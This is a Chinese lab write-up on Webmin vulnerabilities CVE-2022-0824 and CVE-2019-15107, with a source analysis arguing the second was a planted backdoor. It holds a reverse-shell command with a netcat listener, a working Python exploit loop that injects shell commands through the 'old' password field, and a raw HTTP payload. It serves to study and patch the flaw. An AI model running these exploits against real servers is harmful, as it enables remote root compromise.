CNVD编号:CNVD-2022-17023
CNNVD编号::CNNVD-202203-076
危险等级:高 ( 8.8 HIGH )
POC/EXP:已公开
Webmin Webmin < Webmin Webmin1.990 //1.990版本之前均受影响
Webmin是Webmin社区的一套基于Web的用于类Unix操作系统中的系统管理工具。
webmin1.990之前版本存在权限提升漏洞,
该漏洞源于错误的程序对高级本地过程调用。
攻击者可以利用该漏洞能够修改操作系统文件系统并以运行应用程序权限执行操作系统命令。
docker pull vulfocus/webmin_cve-2022-0824:latest
docker run -itd -p 10000:10000 -d vulfocus/webmin_cve-2022-0824
访问映射地址127.0.0.1:10000
账户: root 密码: password
环境搭建成功
监听端口4444,准备获取反弹shell
nc -lvp 4444
将POC文件下载,并且执行利用脚本
python3 Webmin-revshell.py -t http://127.0.0.1:10000 -c root:password -LS 192.168.132.58:9090 -L 192.168.132.58 -P 4444
更新到最新版本 附带厂商补丁链接:
https://github.com/webmin/webmin/commit/39ea464f0c40b325decd6a5bfb7833fa4a142e38
https://github.com/faisalfs10x/Webmin-CVE-2022-0824-revshell
https://huntr.dev/bounties/d0049a96-de90-4b1a-9111-94de1044f295/
https://nvd.nist.gov/vuln/detail/cve-2022-0824
https://www.cnvd.org.cn/flaw/show/CNVD-2022-17023
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-0824
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-202203-076
Webmin是目前功能最强大的基于Web的Unix系统管理工具。
管理员通过浏览器访问Webmin的各种管理功能并完成相应的管理动作
http://www.webmin.com/
Webmin让您能够在远程使用支持HTTPS (SSL 上的 HTTP)协议的 Web 浏览器通过 Web界面管理您的主机。
Webmin是一个功能强大且灵活的基于 Web 的服务器管理控制面板,适用于类Unix系统。Webmin允许用户配置操作系统内部,例如用户、磁盘配额、服务或配置文件,以及修改和控制开源应用程序,例如Apache HTTPServer、PHP或MySQL。
Webmin 是一个用 Perl 编写的基于浏览器的管理应用程序。
是一个基于Web的界面,用于Unix的系统管理。
使用任何支持表和表单的浏览器,可以设置用户帐户,Apache,DNS,文件共享等。
Linux系统因其高效稳定而受到广大用户的推崇与青睐,然后其管理有一定复杂性和学习周期。
为了降低 Linux系统的管理难度,有时候会对公司内的Linux主机或VPS系统预装了网页管理工具webmin.
该漏洞允许恶意第三方在缺少输入验证的情况下而执行恶意代码
该漏洞由于password_change.cgi文件在重置密码功能中存在一个代码执行漏洞,该漏洞允许恶意第三方在缺少输入验证的情况下而执行恶意代码
版本满足要求
受影响的版本:Webmin<=1.920
且服务器的配置文件允许修改密码时,
在不知道webmin的用户和密码条件下,可以任意执行代码。
┌──(rootamingMM)-[/home/amingmm/Desktop/vulhub-master/webmin]
└─# cd CVE-2019-15107 1 ⨯
┌──(rootamingMM)-[/home/…/Desktop/vulhub-master/webmin/CVE-2019-15107]
└─# ls
1.png docker-compose.yml README.md README.zh-cn.md
┌──(rootamingMM)-[/home/…/Desktop/vulhub-master/webmin/CVE-2019-15107]
└─# docker-compose up -d
Creating network "cve-2019-15107_default" with the default driver
Pulling web (vulhub/webmin:1.910)...
1.910: Pulling from vulhub/webmin
db0035920883: Pull complete
d3665f2ef942: Pull complete
08a7da7cdc97: Pull complete
059181cc3fe2: Pull complete
Digest: sha256:ea48cb0e1393fe0247f910c039aa143bbdd74eaecadc44fbe68d2f7e86e037b3
Status: Downloaded newer image for vulhub/webmin:1.910
Creating cve-2019-15107_web_1 ... done
┌──(rootamingMM)-[/home/…/Desktop/vulhub-master/webmin/CVE-2019-15107]
└─# docker ps -a
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
ba7772b1b254 vulhub/webmin:1.910 "/docker-entrypoint.…" 2 minutes ago Up 2 minutes 0.0.0.0:10000->10000/tcp, :::10000->10000/tcp cve-2019-15107_web_1
import requests
requests.packages.urllib3.disable_warnings() #去除告警
url = "https://127.0.0.1:10000/password_change.cgi"
headers = {"Accept-Encoding": "gzip, deflate", "Accept": "*/*", "Accept-Language": "en", "User-Agent": "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)", "Connection": "close", "Referer": f"{url}", "Content-Type": "application/x-www-form-urlencoded"}
data = {"user": "wwwq", "pam": '', "expired": "2", "old": "test|echo wwwq|md5sum", "new1": "test2", "new2": "test2"}
# data 中执行的 echo wwwq|md5sum 命令
res = requests.post(url, data=data,headers=headers, verify=False)
if "c0f07f528bbb4eed25c97370610a7c8e" in res.text: # wwwq 的 md5 值
print("CVE-2019-15107 存在")
┌──(amingmm㉿amingMM)-[~/Desktop]
└─$ python3 webmin_POC.py 127 ⨯
CVE-2019-15107 存在
import requests,re
requests.packages.urllib3.disable_warnings() #去除告警
url = "https://127.0.0.1:10000/password_change.cgi"
headers = {"Accept-Encoding": "gzip, deflate", "Accept": "*/*", "Accept-Language": "en", "User-Agent": "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)", "Connection": "close", "Referer": f"{url}", "Content-Type": "application/x-www-form-urlencoded"}
data = {"user": "wwwq", "pam": '', "expired": "2", "old": "test|echo wwwq|md5sum", "new1": "test2", "new2": "test2"}
# data 中执行的 echo wwwq|md5sum 命令
res = requests.post(url, data=data,headers=headers, verify=False)
if "c0f07f528bbb4eed25c97370610a7c8e" in res.text: # wwwq 的 md5 值
print("CVE-2019-15107 存在")
while 1 :
data["old"] = "test|" + input("请输入你要执行的命令:") # 输入要执行的命令且替换 data 中的执行的命令
exp_res = requests.post(url, data=data,headers=headers, verify=False)
rce_res = re.findall("incorrect([\s\S]*)",exp_res.text) # 正则提取结果
print(rce_res[0])
┌──(amingmm㉿amingMM)-[~/Desktop]
└─$ python3 webmin_EXP.py
CVE-2019-15107 存在
请输入你要执行的命令:whoami
root
请输入你要执行的命令:pwd
/usr/share/webmin/acl
根据插件,还原出poc
POST /password_change.cgi HTTP/1.1
Host: 192.168.252.145:10000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: https://192.168.252.145:10000/
Content-Type: application/x-www-form-urlencoded
Content-Length: 58
Origin: https://192.168.252.145:10000
Connection: close
Cookie: redirect=1; testing=1
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
user=wwwq&pam=&expired=2&old=test|id&new1=test2&new2=test2
当poc执行后,会向password_change.cgi发送POST请求
接下来看下password_change.cgi
位于37行到188行处,存在if-else语句
他们分别是
2、elsif ($gconfig{\’passwd_cmd\’})
3、elsif ($in{‘pam’})
4、else
print $wuser 确认,程序到底进入哪个if分支了
wuser不为空,所以这里直接进入if ($wuser)分支
在if ($wuser)分支中,首先执行encrypt_password方法,如下图红框处
encrypt_password方法位于aclacl-lib.pl
该方法的底层,调用了crypt方法,如下图,位于acl/md5-lib.pl中
传入该crypt方法的第一个参数为$passwd
打印此时passwd
可见值为 AkkuS|dir,也就是POST请求中的old参数值
encrypt_password底层调用crypt进行编码后,
将计算值return,赋值给$enc,如下图
由于我们传入的pass(AkkuS|dir)并不是root用户的密码,下图红框处的eq结果为false
因此触发pass_error,
系统需要把Failed to change password : The current password is incorrect这个信息反馈给用户
但是注意上图红框处,在pass_error方法的传参中,$in{’old’}被 qx/ /包裹
qx执行外部程序,相当于“
也就是说,$in{’old’}的值会被执行。 $in{’old’}就是POST中传入的old参数,可控,
所以这里造成了任意代码执行漏洞。
值得注意的是,POST中的old参数,是用户修改密码时所提交的旧密码。
众所周知,密码是一个字符串,而非可执行代码,这里将传入的旧密码字符串拿来执行,
并非正常业务逻辑所为。
不仅如此,
$ in{‘old’}的值在被执行后,
会拼接在$ text{‘password_eold’}参数后面,一同传入pass_error中,如下图
打印$text{‘password_eold’},查看它的值
当我们的$in{’old’}传入”AkkuS|dir”时,
dir执行后的返回值会拼接到The current password is incorrect后,传入pass_error
接着,在pass_error中被打印出来
这里不仅仅将用户旧密码拿来执行,更是通过pass_error,
把返回值直接打印到返回值中,
更加落实了被植入后门的猜测
对比官网 SourceForgegithub三个不同地方下载的Webmin代码发现,
官网 SourceForge存在代码执行点,而github不存在
这里存在qx包裹的$in{‘old’}
Pass_error中竟然没有被qx包裹的$in{‘old’}
也就是说,github上下载的Webmin不存在代码执行漏洞,而官网和SourceForge上却存在
1、 将用户提交的旧密码通过qx直接执行
正常业务逻辑中旧密码为字符串,而非可执行代码,这里将密码字符串拿来直接执行,不符合逻辑、
2、 将执行结果通过报错打印到返回值中
如果仅仅是执行代码,攻击者无法判断后台执行是否成功,以及无法得到执行成功后的返回值,
例如”dir”、”ifconfig”这类指令,是需要看回显值得。
因此,在这里通过pass_error将执行成功的返回值隐蔽的返回
3、 官网\ SourceForge代码中存在漏洞,github代码中无漏洞
通过以上三点,初步猜测,Webmin代码被移植入后门
目前业界流传的poc,都是需要使用管道符 “|”的形式:
例如msf给出的poc:”AkkuS|dir ”
经过漏洞深入的分析发现,old中的值最终会被直接执行,因此并不需要管道符
可以构造如下poc
使用webmin的用户要注意升级
注意:在 github下载